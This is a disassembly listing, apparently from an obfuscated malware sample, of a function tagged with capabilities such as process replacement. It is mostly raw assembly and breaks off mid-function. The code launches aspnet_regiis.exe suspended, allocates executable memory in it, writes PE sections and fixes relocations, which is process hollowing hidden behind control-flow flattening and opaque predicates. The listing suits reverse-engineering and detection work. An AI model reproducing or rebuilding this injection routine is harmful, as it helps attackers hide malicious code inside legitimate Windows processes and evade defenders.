Function at 0x10001ef0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x10064000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0x64c27027
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x80be8aca
je 0x1000394b
jmp 0x10001f2c
mov eax, dword [ebp - 0x158]
sub eax, 0x82ff9afe
je 0x1000352d
jmp 0x10001f42
mov eax, dword [ebp - 0x158]
sub eax, 0x889e32cc
je 0x100037b9
jmp 0x10001f58
mov eax, dword [ebp - 0x158]
sub eax, 0x8c43f37f
je 0x10002cf8
jmp 0x10001f6e
mov eax, dword [ebp - 0x158]
sub eax, 0x8d1c7042
je 0x10004319
jmp 0x10001f84
mov eax, dword [ebp - 0x158]
sub eax, 0x8ec30e03
je 0x10002cad
jmp 0x10001f9a
mov eax, dword [ebp - 0x158]
sub eax, 0x8ed00bcf
je 0x10002ec7
jmp 0x10001fb0
mov eax, dword [ebp - 0x158]
sub eax, 0x8ee64f82
je 0x100046e9
jmp 0x10001fc6
mov eax, dword [ebp - 0x158]
sub eax, 0x920b6671
je 0x100036c9
jmp 0x10001fdc
mov eax, dword [ebp - 0x158]
sub eax, 0x9272764b
je 0x10003644
jmp 0x10001ff2
mov eax, dword [ebp - 0x158]
sub eax, 0x937c747c
je 0x10003cc5
jmp 0x10002008
mov eax, dword [ebp - 0x158]
sub eax, 0x95deabb6
je 0x100031da
jmp 0x1000201e
mov eax, dword [ebp - 0x158]
sub eax, 0x9c7d8a5e
je 0x10002a67
jmp 0x10002034
mov eax, dword [ebp - 0x158]
sub eax, 0x9cba6f84
je 0x100040ae
jmp 0x1000204a
mov eax, dword [ebp - 0x158]
sub eax, 0x9eb00dd9
je 0x1000301a
jmp 0x10002060
mov eax, dword [ebp - 0x158]
sub eax, 0xa4a1e782
je 0x1000440d
jmp 0x10002076
mov eax, dword [ebp - 0x158]
sub eax, 0xaa23b096
je 0x100034b7
jmp 0x1000208c
mov eax, dword [ebp - 0x158]
sub eax, 0xac96ba7e
je 0x100046da
jmp 0x100020a2
mov eax, dword [ebp - 0x158]
sub eax, 0xb5180b4f
je 0x100047d2
jmp 0x100020b8
mov eax, dword [ebp - 0x158]
sub eax, 0xb6f9c375
je 0x100045cb
jmp 0x100020ce
mov eax, dword [ebp - 0x158]
sub eax, 0xb9c39c26
je 0x10002e5b
jmp 0x100020e4
mov eax, dword [ebp - 0x158]
sub eax, 0xba3b51a0
je 0x10003125
jmp 0x100020fa
mov eax, dword [ebp - 0x158]
sub eax, 0xbec6ff6b
je 0x10002fe2
jmp 0x10002110
mov eax, dword [ebp - 0x158]
sub eax, 0xc13fecd9
je 0x1000478b
jmp 0x10002126
mov eax, dword [ebp - 0x158]
sub eax, 0xc1ade102
je 0x10003f90
jmp 0x1000213c
mov eax, dword [ebp - 0x158]
sub eax, 0xc1d5d349
je 0x1000441c
jmp 0x10002152
mov eax, dword [ebp - 0x158]
sub eax, 0xc3bb06d8
je 0x100029dd
jmp 0x10002168
mov eax, dword [ebp - 0x158]
sub eax, 0xc4d3038d
je 0x1000368f
jmp 0x1000217e
mov eax, dword [ebp - 0x158]
sub eax, 0xc5467b08
je 0x10004127
jmp 0x10002194
mov eax, dword [ebp - 0x158]
sub eax, 0xc66b8db4
je 0x10002b49
jmp 0x100021aa
mov eax, dword [ebp - 0x158]
sub eax, 0xca67d8a3
je 0x10003a76
jmp 0x100021c0
mov eax, dword [ebp - 0x158]
sub eax, 0xcce3f775
je 0x10002b25
jmp 0x100021d6
mov eax, dword [ebp - 0x158]
sub eax, 0xcdc55d9c
je 0x10003cfa
jmp 0x100021ec
mov eax, dword [ebp - 0x158]
sub eax, 0xcdd1e78e
je 0x1000370b
jmp 0x10002202
mov eax, dword [ebp - 0x158]
sub eax, 0xd1809231
je 0x100032f9
jmp 0x10002218
mov eax, dword [ebp - 0x158]
sub eax, 0xd2cf78c0
je 0x10002ce9
jmp 0x1000222e
mov eax, dword [ebp - 0x158]
sub eax, 0xd2e3efa2
je 0x100040bd
jmp 0x10002244
mov eax, dword [ebp - 0x158]
sub eax, 0xd3425f5f
je 0x10002e7c
jmp 0x1000225a
mov eax, dword [ebp - 0x158]
sub eax, 0xd3c37bcc
je 0x10002cce
jmp 0x10002270
mov eax, dword [ebp - 0x158]
sub eax, 0xd3fd2c76
je 0x1000389e
jmp 0x10002286
mov eax, dword [ebp - 0x158]
sub eax, 0xd467e6c5
je 0x10003ee7
jmp 0x1000229c
mov eax, dword [ebp - 0x158]
sub eax, 0xd5692a88
je 0x1000448b
jmp 0x100022b2
mov eax, dword [ebp - 0x158]
sub eax, 0xd65010b2
je 0x100033b2
jmp 0x100022c8
mov eax, dword [ebp - 0x158]
sub eax, 0xd9daff72
je 0x10004868
jmp 0x100022de
mov eax, dword [ebp - 0x158]
sub eax, 0xda2278ee
je 0x10003fcc
jmp 0x100022f4
mov eax, dword [ebp - 0x158]
sub eax, 0xdae90eb3
je 0x10004877
jmp 0x1000230a
mov eax, dword [ebp - 0x158]
sub eax, 0xdafb66e7
je 0x10004568
jmp 0x10002320
mov eax, dword [ebp - 0x158]
sub eax, 0xdfd89a41
je 0x100039df
jmp 0x10002336
mov eax, dword [ebp - 0x158]
sub eax, 0xe0e107b8
je 0x1000422b
jmp 0x1000234c
mov eax, dword [ebp - 0x158]
sub eax, 0xe418b27d
je 0x100045da
jmp 0x10002362
mov eax, dword [ebp - 0x158]
sub eax, 0xe5d05154
je 0x100030d4
jmp 0x10002378
mov eax, dword [ebp - 0x158]
sub eax, 0xe68da794
je 0x1000409f
jmp 0x1000238e
mov eax, dword [ebp - 0x158]
sub eax, 0xea3e7cb9
je 0x10003386
jmp 0x100023a4
mov eax, dword [ebp - 0x158]
sub eax, 0xecf92f99
je 0x10004056
jmp 0x100023ba
mov eax, dword [ebp - 0x158]
sub eax, 0xf0b8e851
je 0x10003308
jmp 0x100023d0
mov eax, dword [ebp - 0x158]
sub eax, 0xf0d87065
je 0x1000423a
jmp 0x100023e6
mov eax, dword [ebp - 0x158]
sub eax, 0xf1ca9e84
je 0x1000400d
jmp 0x100023fc
mov eax, dword [ebp - 0x158]
sub eax, 0xf26b9761
je 0x10002bad
jmp 0x10002412
mov eax, dword [ebp - 0x158]
sub eax, 0xf2795906
je 0x10003bf0
jmp 0x10002428
mov eax, dword [ebp - 0x158]
sub eax, 0xf4ce2fa5
je 0x10003d22
jmp 0x1000243e
mov eax, dword [ebp - 0x158]
sub eax, 0xf5909977
je 0x10004697
jmp 0x10002454
mov eax, dword [ebp - 0x158]
sub eax, 0xf5e2a086
je 0x10003789
jmp 0x1000246a
mov eax, dword [ebp - 0x158]
sub eax, 0xf7748ca2
je 0x100038d5
jmp 0x10002480
mov eax, dword [ebp - 0x158]
sub eax, 0xfb6172c4
je 0x1000443a
jmp 0x10002496
mov eax, dword [ebp - 0x158]
sub eax, 0xfc14aeb4
je 0x10003798
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xf8]
movzx edx, word [eax]
mov eax, 0x183c47a8
mov ecx, 0x4c53341a
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe8], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0xff8eab33
sub edx, 1
add edx, 0xff8eab33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6f9c375
mov ecx, 0x4be0bab6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov edx, dword [ebp - 0x100]
mov eax, 0x47b4dbff
mov ecx, 0xc66b8db4
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005840
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005840
add esp, 0xc
mov eax, dword [ebp - 0x100]
add eax, 0x18
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x154], 0xf26b9761
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x8321dea1
sub edx, 1
sub edx, 0x8321dea1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe418b27d
mov ecx, 0x10837478
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov dl, byte [ebp - 0xde]
mov eax, 0xd3c37bcc
mov ecx, 0x8c43f37f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x154], 0xd2cf78c0
jmp 0x100048ae
mov dword [ebp - 0x154], 0x8c43f37f
jmp 0x100048ae
mov edx, dword [ebp - 0x108]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov dword [ebp - 0x154], 0x32c3f2f5
jmp 0x100048ae
mov dl, byte [ebp - 0xdd]
mov eax, 0xfb6172c4
mov ecx, 0xd3425f5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x154], 0x8ed00bcf
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xf3c15738
sub edx, 1
sub edx, 0xf3c15738
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b3580ce
mov ecx, 0x3adffce8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001900
add esp, 4
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x100]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x154], 0x9eb00dd9
jmp 0x100048ae
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x100]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0x95deabb6
mov ecx, 0x21a1e652
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0x3c92e550
sub edx, 1
add edx, 0x3c92e550
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7de537d6
mov ecx, 0xba3b51a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7de537d6
mov ecx, 0xfcb8cec0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xf48b4b5e
sub edx, 1
sub edx, 0xf48b4b5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf5909977
mov ecx, 0x3de7bb93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov dword [ebp - 0x154], 0xf0b8e851
jmp 0x100048ae
mov eax, dword [ebp - 0xc8]
movzx ecx, word [eax + 0x14]
mov eax, dword [ebp - 0xcc]
add eax, ecx
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x100]
movzx ecx, word [ecx + 0x14]
add eax, 0x60e18c20
add eax, ecx
sub eax, 0x60e18c20
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x154], 0xea3e7cb9
jmp 0x100048ae
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x100]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc1], al
mov dword [ebp - 0x154], 0xd65010b2
jmp 0x100048ae
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xac96ba7e
mov ecx, 0x717b86e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0x2ad5cf4f
sub edx, 1
sub edx, 0x2ad5cf4f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8ee64f82
mov ecx, 0x82ff9afe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x134]
imul ecx, dword [ebp - 0x144], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x134]
imul esi, dword [ebp - 0x144], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x134]
imul edi, dword [ebp - 0x144], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x134]
imul ecx, dword [ebp - 0x144], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xbc], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0xe4fff0cc
sub edx, 1
add edx, 0xe4fff0cc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ee64f82
mov ecx, 0x5f903116
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x134]
imul ecx, dword [ebp - 0x144], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x134]
imul ecx, dword [ebp - 0x144], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x154], 0xc4d3038d
jmp 0x100048ae
mov esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
add esi, 0x797094d0
add esi, eax
sub esi, 0x797094d0
mov edx, dword [ebp - 0xb8]
mov eax, 0x4ce7ed33
mov ecx, 0x920b6671
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x134]
imul edx, dword [ebp - 0x144], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], 0xcdd1e78e
jmp 0x100048ae
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0xa4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xa8]
sub ecx, 0x6bf63b8c
sub ecx, eax
add ecx, 0x6bf63b8c
mov eax, dword [ebp - 0xac]
add eax, ecx
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x154], 0x4ce7ed33
jmp 0x100048ae
mov dword [ebp - 0x154], 0xea3e7cb9
jmp 0x100048ae
mov dl, byte [ebp - 0x9d]
mov eax, 0xf0d87065
mov ecx, 0x3a9716e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
mov edx, dword [ebp - 0x9c]
mov eax, 0xf0d87065
mov ecx, 0xe0d7b2d
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xfc54b5c0
sub edx, 1
sub edx, 0xfc54b5c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b3ceae7
mov ecx, 0x80be8aca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x94], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x3e5765bb
sub edx, 1
add edx, 0x3e5765bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b3ceae7
mov ecx, 0x24b290d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov edx, dword [ebp - 0x94]
mov eax, 0x52d71e40
mov ecx, 0x15d6a9df
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [ebp - 0x13c]
sub eax, 0x342ab3d1
add eax, 8
add eax, 0x342ab3d1
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
shr eax, 1
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x100]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc13fecd9
mov ecx, 0x74d9dc59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0x723c11d6
sub edx, 1
add edx, 0x723c11d6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71c6fa82
mov ecx, 0x6b0bf159
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov dword [ebp - 0x154], 0x498be1a8
jmp 0x100048ae
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x84], ax
mov dword [ebp - 0x154], 0xf4ce2fa5
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x5a1244b4
sub edx, 1
sub edx, 0x5a1244b4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3160c280
mov ecx, 0x67b2d499
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x95fb6903
or edx, esi
or eax, 0x95fb6903
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xec]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xf1ca9e84
mov ecx, 0xc1ade102
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x154], 0xda2278ee
jmp 0x100048ae
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x78]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x154], 0xf1ca9e84
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x500d8725
mov ecx, 0xecf92f99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x500d8725
mov ecx, 0xe68da794
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov dword [ebp - 0x154], 0x9cba6f84
jmp 0x100048ae
mov dword [ebp - 0x154], 0xd2e3efa2
jmp 0x100048ae
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
sub ecx, 0xb64a7707
add ecx, 1
add ecx, 0xb64a7707
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x3f8e11a7
jmp 0x100048ae
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x154], 0xf7748ca2
jmp 0x100048ae
mov dword [ebp - 0x154], 0xf0d87065
jmp 0x100048ae
mov eax, dword [ebp - 0x100]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 8
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x28]
sub ecx, 0x258951f0
add ecx, eax
